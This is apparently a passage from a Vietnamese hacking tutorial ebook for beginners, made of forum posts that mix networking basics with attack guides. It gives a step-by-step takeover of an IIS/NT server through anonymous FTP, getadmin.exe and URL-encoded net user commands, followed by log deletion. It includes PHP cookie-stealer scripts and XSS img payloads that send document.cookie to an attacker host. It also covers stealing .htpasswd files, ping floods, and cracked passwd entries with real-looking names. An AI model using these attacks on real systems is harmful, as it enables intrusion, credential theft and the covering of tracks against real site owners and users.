    http://wWw.Hack.Cf Page 126 maps/tables/whatever> SystemV Release 4.0 /etc/shadow x System V Release 4.2 /etc/security/* database Ultrix 4 /etc/auth[.dir|.pag] * UNICOS /etc/udb =20 Trước dấu “ / ”đầu tiên của một hàng là tên của hệ thống tương ứng , hãy căn cứ vào hệ thông thật sự bạn muốn lấy rồI lần theo đường dẫn phía sau dấu “/”đầu tiên . Và cuốI cùng là những account passwd mà tôi từng crack được , có thể bây giờ nó đã hết hiệu lực rồI : CODE arif:x:1569:1000:Nguyen Anh Chau:/udd/arif:/bin/ksh arigo:x:1570:1000:Ryan Randolph:/udd/arigo:/bin/ksh aristo:x:1573:1000:To Minh Phuong:/udd/aristo:/bin/ksh armando:x:1577:1000:Armando Huis:/udd/armando:/bin/ksh arn:x:1582:1000:Arn mett:/udd/arn:/bin/ksh arne:x:1583:1000:Pham Quoc Tuan:/udd/arne:/bin/ksh aroon:x:1585:1000:Aroon Thakral:/udd/aroon:/bin/ksh arozine:x:1586:1000: Mogielnicki:/udd/arozine:/bin/bash arranw:x:1588:1000:Arran Whitaker:/udd/arranw:/bin/ksh Để bảo đảm sự bí mật nên pass của họ tôi xoá đi và để vào đó là ký hiệu “ x ” , các bạn hãy tìm hiểu thông tin có được từ chúng xem . ( (Hết phần 1 ) Còn rất nhiều định nghĩa cũng như thủ thuật hack và crack khác tôi muốn cùng chia sẻ vớI các bạn , đặc biệt là các bạn Newbie . Tôi sẽ lần lượt post lên trong thời gian tới , mong được sự đóng góp ý kiến của các bạn để những phần sau được viết hay hơn . Hãy nhớ , hack cũng là một nghệ thuật và rất cần sự ham thích học hỏi cũng như sự kiên trì của các bạn . Sẽ có ngày các bạn cũng sẽ giỏI thôi . Chúc các bạn vui vẻ . Bài viết của ANHDENDAY Đây là phần 2 14 . ) Vitual port là gì ? _ Vitual port ( cổng ảo ) là 1 số tự nhiên đựợc gói ở trong TCP(Tranmission Control Protocol) và UDP(User Diagram Protocol) header. Như mọi nguòi đã biết, Windows có thể chạy nhiều chương trình 1 lúc, mỗi chương trình này có 1 cổng riêng dùng để truyền và nhận dữ liệu. Ví dụ 1 máy có địa chỉ IP là 127.0.0.1 chạy WebServer, FTP_Server, POP3 server, etc, những dịch vụ này đều đuọc chạy trên 1 IP address là 127.0.0.1, khi một gói tin đuọc gửi đến làm thế nào máy tính của chúng ta phân biệt
  • 127.
    http://wWw.Hack.Cf Page 127 đượcgói tin này đi vào dịch vụ nào WebServer hay FTP server hay SM! TP? Chính vì thế Port xuất hiện. Mỗi dịch vụ có 1 số port mặc định, ví dụ FTP có port mặc định là 21, web service có port mặc định là 80, POP3 là 110, SMTP là 25 vân vân.... Người quản trị mạng có thể thay đổi số port mặc định này, nếu bạn ko biết số port trên một máy chủ, bạn ko thể kết nối vào dịch vụ đó được. Chắc bạn đã từng nghe nói đến PORT MAPPING nhưng có lẽ chưa biết nó là gì và chức năng thế nào. Port mapping thực ra đơn giản chỉ là quá trình chuyển đổi số port mặc định của một dịch vụ nào đó đến 1 số khác. Ví dụ Port mặc định của WebServer là 80, nhưng thỉnh thoảng có lẽ bạn vẫn thấy http://www.xxx.com:8080 , 8080 ở đây chính là số port của host xxx nhưng đã đuợc nguòi quản trị của host này "map" từ 80 thành 8080. ( Tài liệu của HVA ) 15 . ) DNS là gì ? _ DNS là viết tắt của Domain Name System. Một máy chủ DNS đợi kết nối ở cổng số 53, có nghĩa là nếu bạn muốn kết nối vào máy chủ đó, bạn phải kết nối đến cổng số 53. Máy chủ chạy DNS chuyển hostname bằng các chữ cái thành các chữ số tương ứng và ngược lại. Ví dụ: 127.0.0.1 --> localhost và localhost--->127.0.0.1 . ( Tài liệu của HVA ) 16 . ) Đôi điều về Wingate : _ WinGate là một chương trình đơn giản cho phép bạn chia các kết nối ra. Thí dụ: bạn có thể chia sẻ 1 modem với 2 hoặc nhiều máy . WinGate dùng với nhiều proxy khác nhau có thể che giấu bạn . _ Làm sao để Wingate có thể che dấu bạn ? Hãy làm theo tôi : Bạn hãy telnet trên cổng 23 trên máy chủ chạy WinGate telnet proxy và bạn sẽ có dấu nhắc WinGate > . Tại dấu nhắc này bạn đánh vào tên server, cùng một khoảng trống và cổng bạn muốn kết nối vào. VD : CODE telnet wingate.net WinGate> victim.com 23 ta telnet đến cổng 23 vì đây là cổng mặc định khi bạn cài Wingate . lúc này IP trên máy mà victim chộp được của ta là IP của máy chủ chứa Wingate proxy đó . _ Làm sao để tìm Wingate ? + Nếu bạn muốn tìm IP WinGates tĩnh (IP không đổi) thì đến yahoo hay một trang tìm kiếm cable modem. Tìm kiếm cable modems vì nhiều người dùng cable modems có WinGate để họ có thể chia sẻ đường truyền rộng của nó cable modems cho những máy khác trong cùng một nhà . Hoặc bạn có thể dùng Port hay Domain scanners và scan Port 1080 . + Để tìm IP động (IP thay đổi mỗi lần user kết nối vào internet) của WinGates bạn có thể dùng Domscan hoặc các chương trình quét khác . Nếu dùng Domscan bạn hãy nhập khoảng IP bất kỳ vào box đầu tiên và số 23 vào box thứ 2 . Khi đã có kết quả , bạn hãy thử lần lượt telnet đến các địa chỉ IP tìm đựơc ( đã hướng dẫn ở trên ), nếu nó xuất hiện dấu “Wingate >” thì bạn đã tìm đúng máy đang sử dụng Wingate rồI đó
  • 128.
    http://wWw.Hack.Cf Page 128 . +Theo kinh nghiệm của tôi thì bạn hãy down wingatescanner về mà sài , nó có rất nhièu trên mạng . 17 . ) Đôi điều về Traceroute : _ Traceroute là một chương trình cho phép bạn xác định được đường đi của các gói packets từ máy bạn đến hệ thống đích trên mạng Internet. _ bạn hãy xem VD sau : CODE C:windows>tracert 203.94.12.54 Tracing route to 203.94.12.54 over a maximum of 30 hops 1 abc.netzero.com (232.61.41.251) 2 ms 1 ms 1 ms 2 xyz.Netzero.com (232.61.41.0) 5 ms 5 ms 5 ms 3 232.61.41.10 (232.61.41.251) 9 ms 11 ms 13 ms 4 we21.spectranet.com (196.01.83.12) 535 ms 549 ms 513 ms 5 isp.net.ny (196.23.0.0) 562 ms 596 ms 600 ms 6 196.23.0.25 (196.23.0.25) 1195 ms1204 ms 7 backbone.isp.ny (198.87.12.11) 1208 ms1216 ms1233 ms 8 asianet.com (202.12.32.10) 1210 ms1239 ms1211 ms 9 south.asinet.com (202.10.10.10) 1069 ms1087 ms1122 ms 10 backbone.vsnl.net.in (203.98.46.01) 1064 ms1109 ms1061 ms 11 newdelhi-01.backbone.vsnl.net.in (203.102.46.01) 1185 ms1146 ms1203 ms 12 newdelhi-00.backbone.vsnl.net.in (203.102.46.02) ms1159 ms1073 ms 13 mtnl.net.in (203.194.56.00) 1052 ms 642 ms 658 ms Tôi cần biết đường đi từ máy tôi đến một host trên mạng Internet có địa chỉ ip là 203.94.12.54. Tôi cần phải tracert đến nó! Như bạn thấy ở trên, các gói packets từ máy tôi muốn đến được 203.94.12.54 phải đi qua 13 hops(mắc xích) trên mạng. Đây là đưòng đi của các gói packets . _ Bạn hãy xem VD tiếp theo : CODE host2 # traceroute xyz.com traceroute to xyz.com (202.xx.12.34), 30 hops max, 40 byte packets 1 isp.net (202.xy.34.12) 20ms 10ms 10ms 2 xyz.com (202.xx.12.34) 130ms 130ms 130ms + Dòng đầu tiên cho biết hostname và địa chỉ IP của hệ thống đích. Dòng này còn cho chúng ta biết thêm giá trị TTL<=30 và kích thước của datagram là 40 bytes(20- bytes IP Header + 8-bytes UDP Header + 12-bytes user data). + Dòng thứ 2 cho biết router đầu tiên nhận được datagram là 202.xy.34.12, giá trị của TTL khi gởi đến router này là 1. Router này sẽ gởi trở lại cho chương trình traceroute một ICMP message error "Time Exceeded". Traceroute sẽ gởi tiếp một
  • 129.
    http://wWw.Hack.Cf Page 129 datagramđến hệ thống đích. + Dòng thứ 3, xyz.com(202.xx.12.34) nhận được datagram có TTL=1(router thứ nhất đã giảm một trước đó - TTL=2-1=1). Tuy nhiên, xyz.com không phải là một router, nó sẽ gởi trở lại cho traceroute một ICMP error message "Port Unreachable". Khi nhận được ICMP message này, traceroute sẽ biết được đã đến được hệ thống đích xyz.com và kết thúc nhiệm vụ tại đây. + Trong trường hợp router không trả lời sau 5 giây, traceroute sẽ in ra một dấu sao "*"(không biết) và tiếp tục gởi datagram khác đến host đích! _Chú ý: Trong windows: tracert hostname Trong unix: traceroute hostname ( Tài liệu của viethacker.net ) 18 . ) Ping và cách sử dụng : _ Ping là 1 khái niệm rât đơn giản tuy nhiên rất hữu ích cho việc chẩn đoán mạng. Tiểu sử của từ "ping" như sau: Ping là tiếng động vang ra khi 1 tàu ngầm muốn biết có 1 vật thể khác ở gần mình hay ko, nếu có 1 vật thể nào đó gần tàu ngầm tiếng sóng âm này sẽ va vào vật thể đó và tiếng vang lại sẽ là "pong" vậy thì tàu ngầm đó sẽ biết là có gì gần mình. _Trên Internet, khái niệm Ping cũng rất giống với tiểu sử của nó như đã đề cập ở trên. Lệnh Ping gửi một gói ICMP (Internet Control Message Protocol) đến host, nếu host đó "pong" lại có nghĩa là host đó tồn tại (hoặc là có thể với tới đựoc). Ping cũng có thể giúp chúng ta biêt được luợng thời gian một gói tin (data packet) đi từ máy tính của mình đến 1 host nào đó. _Ping thật dễ dàng, chỉ cần mở MS-DOS, và gõ "ping địa_chỉ_ip", mặc định sẽ ping 4 lần, nhưng bạn cũng có thể gõ CODE "ping ip.address -t" Cách này sẽ làm máy ping mãi. Để thay đổi kích thước ping làm như sau: CODE "ping -l (size) địa_chỉ_ip " Cái ping làm là gửi một gói tin đến một máy tính, sau đó xem xem mất bao lâu gói tin rồi xem xem sau bao lâu gói tin đó quay trở lại, cách này xác định được tốc độ của kết nối, và thời gian cần để một gói tin đi và quay trở lại và chia bốn (gọi là "trip time"). Ping cũng có thể được dùng để làm chậm đi hoặc đổ vỡ hệ thống bằng lụt ping. Windows 98 treo sau một phút lụt ping (Bộ đệm của kết nối bị tràn – có qua nhiều kết nối, nên Windows quyết định cho nó đi nghỉ một chút). Một cuộc tấn công “ping flood” sẽ chiếm rất nhiều băng thông của bạn, và bạn phải có băng thông lớn hơn đối phương ( trừ khi đối phương là một máy chạy Windows 98 và bạn có một modem trung bình, bằng cách đó bạn sẽ hạ gục đối phương sau xấp xỉ một phút lụt ping). Lụt Ping không hiệu quả lắm đổi với những đối phương mạnh hơn một chút.
  • 130.
    http://wWw.Hack.Cf Page 130 trừkhi bạn có nhiều đường và bạn kiểm soát một số lượng tương đối các máy chủ cùng ping mà tổng băng thông lơn hơn đối phương. Chú ý: option –t của DOS không gây ra lụt ping, nó chỉ ping mục tiêu một cách liên tục, với những khoảng ngắt quãng giữa hai lần ping liên tiếp. Trong tất cả các hệ Unix hoặc Linux, bạn có thể dùng ping -f để gây ra lụt thực sự. Thực tế là phải ping - f nếu bạn dùng một bản tương thích POSIX (POSIX - Portable Operating System Interface dựa trên uniX), nếu không nó sẽ không phải là một bản Unix/Linux thực sự, bởi vậy nếu bạn dùng một hệ điều hành mà nó tự cho nó là Unix hay Linux, nó sẽ có tham số -f. ( Tài liệu của HVA và viethacker.net ) 19 . ) Kỹ thuật xâm nhập Window NT từ mạng Internet : _ Đây là bài học hack đầu tiên mà tôi thực hành khi bắt đầu nghiên cứu về hack , bây giờ tôi sẽ bày lại cho các bạn . bạn sẽ cần phảI có một số thờI gian để thực hiện được nó vì nó tuy dễ nhưng khó . Ta sẽ bắt đầu : _ Đầu tiên bạn cần tìm một server chạy IIS : _ Tiếp đến bạn vào DOS và đánh ' FTP <the company name>'. VD : c:Ftp www.dodgyinc.com ( trang naỳ khi tôi thực hành thì vẫn còn làm được , bây giờ không biết họ đã fix chưa , nếu bạn nào có trang nào khác thì hãy post lên cho mọI ngườI cùng làm nhé ) Nếu connect thành công , bạn sẽ thấy một số dòng tương tự như thế này : CODE Connected to www.dodgyinc.com. 220 Vdodgy Microsoft FTP Service (Version 3.0). User (www.dodgyinc.com:(none)): Cái mà ta thấy ở trên có chứa những thông tin rất quan trọng , nó cho ta biết tên Netbios của máy tính là “ Vdodgy ” . Từ điều này bạn có thể suy diễn ra tên mà được sử dụng cho NT để cho phép ta có thể khai thác , mặc định mà dịch vụ FTP gán cho nó nếu nó chưa đổi tên sẽ là “IUSR_VDODGY” . Hãy nhớ lấy vì nó sẽ có ích cho ta . Nhập "anonymous” trong user nó sẽ xuất hiện dòng sau : CODE 331 Anonymous access allowed, send identity (e-mail name) as password. Password: Bây giờ passwd sẽ là bất cứ gì mà ta chưa biết , tuy nhiên , bạn hãy thử đánh vào passwd là “anonymous” . Nếu nó sai , bạn hãy log in lạI thiết bị FTP , bạn hãy nhớ là khi ta quay lạI lần này thì không sử dụng cách mạo danh nữa ( anonymous ) mà sử dụng “'Guest” , thử lại passwd với “guest” xem thế nào . Bây giờ bạn hãy đánh lệnh trong DOS : CODE
  • 131.
    http://wWw.Hack.Cf Page 131 Cd/c Và sẽ nhìn thấy kết quả nếu như bạn đã xâm nhập thành công , bây giờ bạn hãy nhanh chóng tìm thư mục 'cgi-bin' . Nếu như bạn may mắn , bạn sẽ tìm được dễ dàng vì thông thường hệ thống quản lý đã đặt 'cgi-bin' vào nơi mà ta vừa xâm nhập để cho các ngườI quản lý họ dễ dàng điều khiển mạng hơn . thư mục cgi-bin có thể chứa các chương trình mà bạn có thể lợi dụng nó để chạy từ trình duyệt Web của bạn . Ta hãy bắt đầu “quậy” nào . _ Đầu tiên , bạn hãy chuyển tớ thư mục cgi-bin và sử dụng lệnh “Binary” ( có thể các bạn không cần dùng lệnh này ) , sau đó bạn dánh tiếp lệnh “put cmd.exe” . Tiếp theo là bạn cần có file hack để cài vào thư mục này , hãy tìm trên mạng để lấy 2 file quan trọng nhất đó là 'getadmin.exe' và 'gasys.dll' . Download chúng xuống , một khi bạn đã có nó hãy cài vào trong thư mục cgi-bin . Ok , coi như mọI việc đã xong , bạn hãy đóng cửa sổ DOS . Bây giờ bạn hãy đánh địa chỉ sau lên trình duyệt của bạn : http://www.dodgyinc.com/cgi-bin/getadmin.exe?IUSR_VDODGY Sau vài giây bạn sẽ có được câu trả lời như ở dướI đây : CODE CGI Error The specified CGI application misbehaved by not returning a complete set of HTTP headers. The headers it did return are: Congratulations , now account IUSR_VDODGY have administrator rights! Thế là bạn đã mạo danh admin để xâm nhập hệ thống , việc cần thiết bây giờ là bạn hãy tự tạo cho mình một account , hãy đánh dòng sau trên IE : http://www.dodgyinc.com/cgi- bin/cmd.exe?/c%20c:winntsystem32net.exe%20user%20hacker%20toilahacker% 20/add dòng lệnh trên sẽ tạo cho bạn một account login với user : anhdenday và passwd : toilahackerBây giờ bạn hãy là cho user này có account của admin , bạn chỉ cần đánh lên IE lệnh : http://www.dodgyinc.com/cgi-bin/getadmin.exe?anhdenday Vậy là xong rùi đó , bạn hãy disconnect và đến start menu -> find rồi search computer 'www.dodgyinc.com'. Khi tìm thấy , bạn vào explore , explore NT sẽ mở ra bạn hay nhập user và passwd để mở nó ( của tôi là user : anhdenday và passwd : toilahacker ) . Có một vấn đề là khi bạn xâm nhập hệ thống này thì sẽ bị ghi lại , do đó để xoá dấu vết bạn hãy vào 'Winntsystem32logfiles' mở file log đó rồI xoá những thông tin liên quan đến bạn , rồI save chúng . Nếu bạn muốn lấy một thông báo gì về việc chia sẽ sự xâm nhập thì bạn hãy thay đổi ngày tháng trên máy tính vớI URL sau :
  • 132.
    http://wWw.Hack.Cf Page 132 http://www.dodgyinc.com/cgi-bin/cmd.exe?/c%20date%2030/04/03 xongrồI bạn hãy xoá file 'getadmin.exe', và 'gasys.dll' từ 'cgi-bin' . Mục đích khi ta xâm nhập hệ thống này là “chôm” pass của admin để lần sau xâm nhập một cách hợp lệ , do đó bạn hãy tìm file SAM ( chứa pass của admin và member ) trong hệ thống rồI dùng chương trình “l0pht crack” để crack pass ( Hướng dẫn về cách sử dụng “l0pht crack v 3.02” tôi đã post lên rồi ,các bạn hãy tự nghiên cứu nhé ) . Đây là link : http://vnhacker.org/forum/?act=ST&f=6&t=11566&s= Khi crack xong các bạn đã có user và pass của admin rồI , bây giờ hãy xoá account của user ( của tôi là “anhdenday” ) đi cho an toàn . Bạn đã có thể làm gì trong hệ thống là tuỳ thích , nhưng các bạn đừng xoá hết tài liệu của họ nhé , tội cho họ lắm . Bạn cảm thấy thế nào , rắc rối lắm phải không . Lúc tôi thử hack cách này , tôi đã mày mò mất cả 4 giờ , nếu như bạn đã quen thì lần thứ 2 bạn sẽ mất ít thờI gian hơn . Ở phần 3 tôi sẽ đề cập đến HĐH Linux , đến cách ngắt mật khẩu bảo vệ của một Web site , và làm thế nào để hack một trang web đơn giản nhất .v.v… GOOKLUCK !!!!!! ( (Hết phần 2 ) Bài viết của ANHDENDAY Xin mạn phép đưa ra một vài bổ sung về phần IP.Mong anhdenday đừng giận. 1-Làm sao biết địa chỉ IP của mình trong mạng LAN ? Rất đơn giản ,bạn thoát ra DOS : Start ->Programs -> Command Prompt. C:windows> Bạn đánh C:windows>tracert PC1 (trong đó PC1 là tên máy tính của bạn) Bạn sẽ được kết quả Tracing route to COMPUTER1[192.168.0.1] over a maximum of 30 hops: 1 <1 ms <1 ms <1 ms [192.168.0.1] Trace complete. 198.168.0.1 chính là địa chỉ IP của bạn trong mạng LAN Mỗi địa chỉ IP gồm 2 phần : 1 là địa chỉ mạng và 1 địa chỉ host . Tất cả các máy tính
  • 133.
    http://wWw.Hack.Cf Page 133 trong1 mạng có địa chỉ mạng giống nhau và trong khi địa chỉ host thì duy nhất với chỉ 1 máy tính . Địa chỉ mạng có thể chiếm 1 đến 3 nhóm Vd : vớI địa chỉ IP 192.168.0.1 thì 192.168.0 là địa chỉ mạng còn 1 là địa chỉ host . Các máy có thể cùng địa chỉ mạng nhưng bắt buộc phảI khác địa chỉ host . 2-Làm sao để lấy được địa chỉ IP của một người , một website hay một máy tính khác ? *Giả sử bạn muốn lấy địa chỉ IP của www.yahoo.com . Bạn làm đơn giản như sau . Thoát ra DOS . Bạn gõ C:windows>ping www.yahoo.com Pinging yahoo.com [216.115.108.245] with 32 bytes of data: Request timed out. Request timed out. Request timed out. Request timed out. Here 216.115.108.245 is the ip address of www.yahoo.com *Cũng như vậy, nếu bạn muốn lấy 1 địa chỉ IP của 1 máy tính tên PC2 trong 1 mạng LAN bạn sẽ có được địa chỉ IP của PC2 C:windows>ping PC2 *Lấy IP của một người đang chat với mình : -Sử dụng ICQ Chỉ cần hỏi anh ta có đồng nối với bạn trên ICQ, nếu có sự trả lời có nghĩa kết nối đã được thực hiện . Trong khi đang chat bạn tạm thoát ra DOS và gõ netstat -n và bạn sẽ lấy được địa chỉ IP của anh ta . Nhưng bạn phải chắc chắn ràng bạn không sử dụng bất kỳ 1 phần mềm nào liên kết với Internet khác bởi vì điều đó có thể cho bạn nhiều địa chỉ IP gồm địa chỉ của anh ta và những dịch vụ bạn đang kết nối sẽ được xuất ra khi gõ netstart -n (bài sau sẽ nói rõ hơn về các lệnh của netstart) -Sử dụng MSN và YAHOO MESSENGERS Trong trường hợp sử dụng các chương trình Yahoo hay MSN để chat. Nếu bạn sử dụng lệnh netstart -n bạn sẽ không lấy được địa chỉ IP của người mình đang chat . Chúng ta làm cách nào để lấy đây ??? Có một cách đó là . Bạn nói rằng bạn sẽ gửi cho anh ta 1 bài nhạc rất hay hoặc là 1 thứ gì đó bằng cách SEND FILE . Nếu anh ta đồng ý bạn hãy gửi cho anh ta 1 file mà anh ta thích . Trong khi file được gửi đi bạn tạm thoát ra DOS và gõ lệnh netstart -n và bạn sẽ tìm thấy địa chỉ của anh ta vì khi
  • 134.
    http://wWw.Hack.Cf Page 134 gửi1 file thì sự kết nối của bạn và anh ta là trực tiếp không phải qua server của Yahoo hay MSN xử lý -Lấy địa chỉ IP của những người đến thăm website của bạn Bạn có 1 website và bạn muốn lấy các địa chỉ IP của những người đến thăm website của bạn. Bạn có thể viết 1 script trong mã trang HTML của website bạn như sau . Chúng ta chí cần viết cho trang chính mà thôi Đây là đoạn script mà bạn sẽ gắn vào trang web của bạn. <HTML> <HEAD> <script LANGUAGE="JavaScript"> var ip = new java.net.InetAddress.getLocalHost(); var ipStr = new java.lang.String(ip); document.writeln(ipStr.substring(ipStr.indexOf("/")+1)); </SCRIPT> </HEAD> Chú ý đoạn script này có thể không chạy trên 1 số trình brower (duyệt web) Lời cảm ơn : Trước hết , tôi xin cảm ơn những tác giả mà tôi đã mượn bài viết của họ để làm ý cho tôi hoàn thành những bài viết của mình , sau đó là cảm ơn đến anh thesun đã động viên đến em , cảm ơn bạn Hackett và bạn vol2 đã bổ sung cho bài viết của tôi đưọc hoàn chỉnh hơn . Tôi cũng đang rất cần những ý kiến quý báu đó của các bạn để bổ sung làm hoàn chỉnh bài viết của mình , vậy bạn nào nếu có ý kiến bổ sung hoặc phản bác lại thì cứ post bài lên nhé . Tôi rất mong ==================================================== Đây là phần 3 20 . ) Cookie là gì ? _ Cookie là những phần dữ liệu nhỏ có cấu trúc được chia sẻ giữa web site và browser của người dùng. cookies được lưu trữ dưới những file dữ liệu nhỏ dạng text (size dưới 4k). Chúng được các site tạo ra để lưu trữ/truy tìm/nhận biết các thông tin về người dùng đã ghé thăm site và những vùng mà họ đi qua trong site. Những thông tin này có thể bao gồm tên/định danh người dùng, mật khẩu, sở thích, thói quen...Cookie được browser của người dùng chấp nhận lưu trên đĩa cứng của máy mình, ko phải browser nào cũng hỗ trợ cookie. Sau một lần truy cập vào site, những thông tin về người dùng được lưu trữ trong cookie. Ở những lần truy cập sau đến site đó, web site có thể dùng lại những thông tin trong cookie (như thông tin liên quan đến việc đăng nhập vào 1 forum...) mà người ko phải làm lại thao tác đăng nhập hay phải nhập lại các thông tin khác. Vấn đề đặt ra là có nhiều site quản lý việc dùng lại các thông tin lưu trong cookie ko chính xác, kiểm tra ko đầy đủ hoặc mã hoá các thông tin trong cookie còn sơ hở giúp cho hacker khai thác để vượt qua cánh cửa
  • 135.
    http://wWw.Hack.Cf Page 135 đăngnhập, đoạt quyền điêu khiển site . _ Cookies thường có các thành phần sau : + Tên: do người lập trình web site chọn + Domain: là tên miền từ server mà cookie được tạo và gửi đi + Đường dẫn: thông tin về đường dẫn ở web site mà bạn đang xem + Ngày hết hạn: là thời điểm mà cookie hết hiệu lực . + Bảo mật: Nếu giá trị này đựơc thiết lập bên trong cookie, thông tin sẽ đựơc mã hoá trong quá trình truyền giữa server và browser. + Các giá trị khác: là những dữ liệu đặc trưng được web server lưu trữ để nhận dạng về sau các giá trị này ko chứa các khoảng trắng, dấu chấm, phẩy và bị giới hạn trong khoảng 4k. ( Tài liệu của Viethacker.net ) 21 . ) Kỹ thuật lấy cắp cookie của nạn nhân : _ Trước hết , các bạn hãy mở notepad rồi chép đoạn mã sau vào notepad đó : CODE <?php define ("LINE", "rn"); define ("HTML_LINE", "<br>"); function getvars($arr, $title) { $res = ""; $len = count($arr); if ($len>0) { if (strlen($title)>0) { print("[--------$title--------]" . HTML_LINE); $res .= "[--------$title--------]" . LINE; } foreach ($arr as $key => $value) { print("[$key]" . HTML_LINE); print($arr[$key] . HTML_LINE); $res .= "[$key]" . LINE . $arr[$key] . LINE; } } return $res; } // get current date $now = date("Y-m-d H:i:s"); // init $myData = "[-----$now-----]" . LINE; // get $myData .= getvars($HTTP_GET_VARS, "");
  • 136.
    http://wWw.Hack.Cf Page 136 //file $file = $REMOTE_ADDR . ".txt"; $mode = "r+"; if (!file_exists($file)) $mode = "w+"; $fp = fopen ($file, $mode); fseek($fp, 0, SEEK_END); fwrite($fp, $myData); fclose($fp); ?> hoặc CODE <?php if ($contents && $header){ mail("victim@yahoo.com" , "from mail script",$contents,$header) or die('couldnt email it'); sleep(2); ?> <script language=javascript> </script> <?php } else { echo "nope"; } (Bạn hãy sửa cái victim@yahoo.com thành địa chỉ Mail của bạn ) . Bạn hãy save cái notepad này với tên “< tên tuỳ các bạn >.php ” ( Nhớ là phải có .php ) rồi upload lên một host nào đó có hỗ trợ PHP , trong VD của tôi là abc.php .( Đối với các bạn đã từng làm Web chắc sẽ rất dễ phảI không ? ) . Đoạn mã này sẽ có nhiệm vụ ăn cắp thông tin (và có khi có cả cookie ) của nạn nhân khi họ mở dữ liệu có chứa đoạn mã này rồI tự động save thông tin đó thành file < ip của nạn nhân >.txt . _ Còn một cách nữa để lấy cookie đựơc sử dụng trên các forum bị lỗi nhưng chưa fix , khi post bài bạn chi cần thêm đoạn mã sau vào bài của mình : CODE document.write('<img src=http://host_php/abc.php?abc='+escape(document.cookie)+'>') với host_php : là địa chỉ bạn đã upload file ăn cắp cookie đó lên . và abc.php là file VD của tôi . _ Ví dụ : khi áp dụng trong tag img, ta dùng như sau:
  • 137.
    http://wWw.Hack.Cf Page 137 CODE [img]javascript:Document.write('<img src=http://host_php/docs.php?docs='+escape(document.cookie)+'>')[/img] hoặc: [ CODE img]javascript: Document.write('&#x3cimg src=http://host_php/docs.php?docs='+escape(document.cookie)+'&#x3e')[/img] _ Bạn có thể tìm những trang web để thực hành thử cách trong VD này bằng cách vào google.com tìm những forum bị lỗi này bằng từ khoá "Powered by …….. forum” với những forum sau : ikonboard, Ultimate Bulletin Board , vBulletin Board, Snitz . Nếu các bạn may mắn các bạn có thể tìm thấy những forum chưa fix lỗi này mà thực hành , ai tìm được thì chia sẽ với mọi người nhé . _ Còn nhiều đoạn mã ăn cắp cookie cũng hay lắm , các bạn hãy tự mình tìm thêm . 22 . ) Cách ngắt mật khẩu bảo vệ Website : _ Khi các bạn tới tìm kiếm thông tin trên một trang Web nào đó , có một số chỗ trên trang Web đó khi bạn vào sẽ bị chặn lại và sẽ xuất hiện một box yêu cầu nhập mật khẩu , đây chính là khu vực riêng tư cất dấu những thông tin mật chỉ dành cho số người hoặc một nhóm người nào đó ( Nơi cất đồ nghề hack của viethacker.net mà báo e-chip đã nói tới chẳng hạn ) . Khi ta click vào cái link đó thì ( thông thường ) nó sẽ gọi tới .htpasswd và .htaccess nằm ở cùng trong thư mục bảo vệ trang Web . Tại sao phải dùng dấu chấm ở trước trong tên file '.htaccess'? Các file có tên bắt đầu là một dấu chấm '.' sẽ được các web servers xem như là các file cấu hình. Các file này sẽ bị ẩn đi (hidden) khi bạn xem qua thư mục đã được bảo vệ bằng file .htaccess .Hai hồ sơ này có nhiệm vụ điều khiển sự truy nhập tới cái link an toàn mà bạn muốn xâm nhập đó . Một cái quản lý mật khẩu và user name , một cái quản lý công việc mã hoá những thông tin cho file kia . Khi bạn nhập đúng cả 2 thì cái link đó mới mở ra . Bạn hãy nhìn VD sau : CODE Graham:F#.DG*m38d%RF Webmaster:GJA54j.3g9#$@f Username bạn có thể đọc được rùi , còn cái pass bạn nhìn có hiểu mô tê gì không ? Dĩ nhiên là không rồi . bạn có hiểu vì sao không mà bạn không thể đọc được chúng không ? cái này nó có sự can thiệp của thằng file .htaccess . Do khi cùng ở trong cùng thư mục chúng có tác động qua lại để bảo vệ lẫn nhau nên chúng ta cũng không dại gì mà cố gắng đột nhập rồi crack mớ mật khẩu chết tiệt đó ( khi chưa có đồ nghề crack mật khẩu trong tay . Tôi cũng đang nghiên cứu để có thể xâm nhập trực tiếp , nếu thành công tôi sẽ post lên cho các bạn ) . Lỗi là ở đây , chuyện gì sẽ xảy ra nếu cái .htpasswd nằm ngoài thư mục bảo vệ có file .htaccess ? Ta sẽ chôm được nó dễ dàng , bạn hãy xem link VD sau :
  • 138.
    http://wWw.Hack.Cf Page 138 http://www.company.com/cgi-bin/protected/ hãykiểm tra xem file .htpasswd có được bảo vệ bởI .htaccess hay không , ta nhập URL sau : http://www.company.com/cgi-bin/protected/.htpasswd Nếu bạn thấy có câu trả lờI 'File not found' hoặc tương tự thì chắc chắn file này đã không được bảo vệ , bạn hãy tìm ra nó bằng một trong các URL sau : http://www.company.com/.htpasswd http://www.company.com/cgi-bin/.htpasswd http://www.company.com/cgi-bin/passwords/.htpasswd http://www.company.com/cgi-bin/passwd/.htpasswd nếu vẫn không thấy thì các bạn hãy cố tìm bằng các URL khác tương tự ( có thể nó nằm ngay ở thư mục gốc đấy ) , cho đến khi nào các bạn tìm thấy thì thôi nhé . Khi tìm thấy file này rồi , bạn hãy dùng chương trình "John the ripper" hoặc "Crackerjack", để crack passwd cất trong đó . Công việc tiếp theo hẳn các bạn đã biết là mình phải làm gì rồI , lấy user name và passwd hợp lệ đột nhập vào rùi xem thử mấy cô cậu “tâm sự” những gì trong đó , nhưng các bạn cũng đừng có đổi pass của họ hay quậy họ nhé . Cách này các bạn cũng có thể áp dụng để lấy pass của admin vì hầu hết những thành viên trong nhóm kín đều là “có chức có quyền” cả . 23 . ) Tìm hiểu về CGI ? _ CGI là từ viết tắt của Common Gateway Interface , đa số các Website đều đang sử dụng chương trình CGI ( được gọI là CGI script ) để thực hiện những công việc cần thiết 24 giờ hằng ngày . Những nguyên bản CGI script thực chất là những chương trình được viết và được upload lên trang Web vớI những ngôn ngữ chủ yếu là Perl , C , C++ , Vbscript trong đó Perl được ưa chuộng nhất vì sự dễ dàng trong việc viết chương trình ,chiếm một dung lượng ít và nhất là nó có thể chạy liên tục trong 24 giờ trong ngày . _ Thông thường , CGI script được cất trong thư mục /cgi-bin/ trên trang Web như VD sau : http://www.company.com/cgi-bin/login.cgi với những công việc cụ thể như : + Tạo ra chương trình đếm số người đã ghé thăm . + Cho phép những ngườI khách làm những gì và không thể làm những gì trên Website của bạn . + Quản lý user name và passwd của thành viên . + Cung cấp dịch vụ Mail . + Cung cấp những trang liên kết và thực hiện tin nhắn qua lại giữa các thành viên . + Cung cấp những thông báo lỗi chi tiết .v.v…..
  • 139.
